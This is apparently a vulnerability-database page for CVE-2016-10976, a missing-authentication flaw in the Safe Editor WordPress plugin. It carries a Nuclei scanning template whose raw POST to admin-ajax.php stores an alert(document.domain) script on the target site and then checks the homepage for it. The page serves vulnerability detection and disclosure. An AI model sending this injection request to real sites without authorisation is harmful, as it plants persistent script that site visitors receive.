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Safe Editor Plugin < 1.2 - CSS/JS-injection

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
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Safe Editor Plugin < 1.2 - CSS/JS-injection. No se_save authentication leading to XSS

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CVE-2016-10976
17 Sep 201914:05
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17 Sep 201914:05
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EUVD
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NVD
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17 Sep 201915:15
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17 Sep 201915:15
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Prion
Authentication flaw
17 Sep 201915:15
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22 May 202509:07
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6 May 201600:00
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6 May 201600:00
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id: CVE-2016-10976

info:
  name: Safe Editor Plugin < 1.2 - CSS/JS-injection
  author: Splint3r7
  severity: medium
  description: |
    The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript or CSS code into the site, potentially stealing credentials, manipulating site content, or targeting site visitors.
  remediation: |
    Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
  reference:
    - https://wordpress.org/plugins/safe-editor/#developers
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-10976
    cwe-id: CWE-79
    epss-score: 0.01506
    epss-percentile: 0.70948
    cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: kodebyraaet
    product: safe_editor
    framework: wordpress
  tags: cve,cve2016,wordpress,wp,wp-plugin,xss,safe_editor,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=se_save&type=js&data=alert(document.domain)

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "save_edit_js")'
        condition: and
# digest: 490a004630440220044bed714336c529ac04686b5ffd5438da4e857f8c162feac25bb1f47a1205ff02206f50d223f863deaffcdbb2105589825e556b0b425b6ff729a8fdc379c32b231c:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.01506
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